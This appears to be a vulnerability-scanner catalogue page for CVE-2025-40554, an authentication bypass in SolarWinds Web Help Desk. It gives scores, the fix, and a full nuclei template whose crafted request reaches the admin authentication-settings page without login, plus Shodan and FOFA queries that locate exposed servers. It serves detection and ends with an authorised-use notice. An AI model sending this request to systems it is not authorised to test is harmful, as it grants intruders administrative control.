SolarWinds Web Help Desk - Authentication Bypass

criticalseverity

9.8CVSS score

60.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SolarWinds Web Help Desk 12.8.8 HF1 and earlier contains an authentication bypass vulnerability in the WebObjects session handling. By crafting a request with a manipulated path component to an internal admin page endpoint, an unauthenticated attacker can access privileged administrative functions including authentication configuration settings, SAML/CAS setup, and API key management.

Impact

An attacker can bypass authentication and access administrative configuration pages, potentially leading to full system compromise through authentication method manipulation.

Fix

Update to Web Help Desk version 2026.1 or later.

How to confirm it

Send: GET /helpdesk/WebObjects/Helpdesk.woa
Positive when: status_code == 200
Send: GET /helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AAAAAAAAAAAAAAAAAAAAAA/1.0?badparam=/ajax/&wopage=LoginPref
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "externalAuthContainer", "Authentication Settings", "admin_pswd")

Run it with nuclei: nuclei -id CVE-2025-40554 -u <target>

The full check

id: CVE-2025-40554

info:
  name: SolarWinds Web Help Desk - Authentication Bypass
  author: Bushi-gg
  severity: critical
  description: |
    SolarWinds Web Help Desk 12.8.8 HF1 and earlier contains an authentication bypass vulnerability in the WebObjects session handling. By crafting a request with a manipulated path component to an internal admin page endpoint, an unauthenticated attacker can access privileged administrative functions including authentication configuration settings, SAML/CAS setup, and API key management.
  impact: |
    An attacker can bypass authentication and access administrative configuration pages, potentially leading to full system compromise through authentication method manipulation.
  remediation: |
    Update to Web Help Desk version 2026.1 or later.
  reference:
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40554
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://www.rapid7.com/blog/post/etr-multiple-critical-solarwinds-web-help-desk-vulnerabilities-cve-2025-40551-40552-40553-40554/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40554
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40554
    epss-score: 0.60642
    epss-percentile: 0.99154
    cwe-id: CWE-1390
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:"1895809524"
    fofa-query: icon_hash="1895809524"
    product: web_help_desk
    vendor: solarwinds
  tags: cve,cve2025,solarwinds,whd,auth-bypass,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AAAAAAAAAAAAAAAAAAAAAA/1.0?badparam=/ajax/&wopage=LoginPref HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "externalAuthContainer", "Authentication Settings", "admin_pswd")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from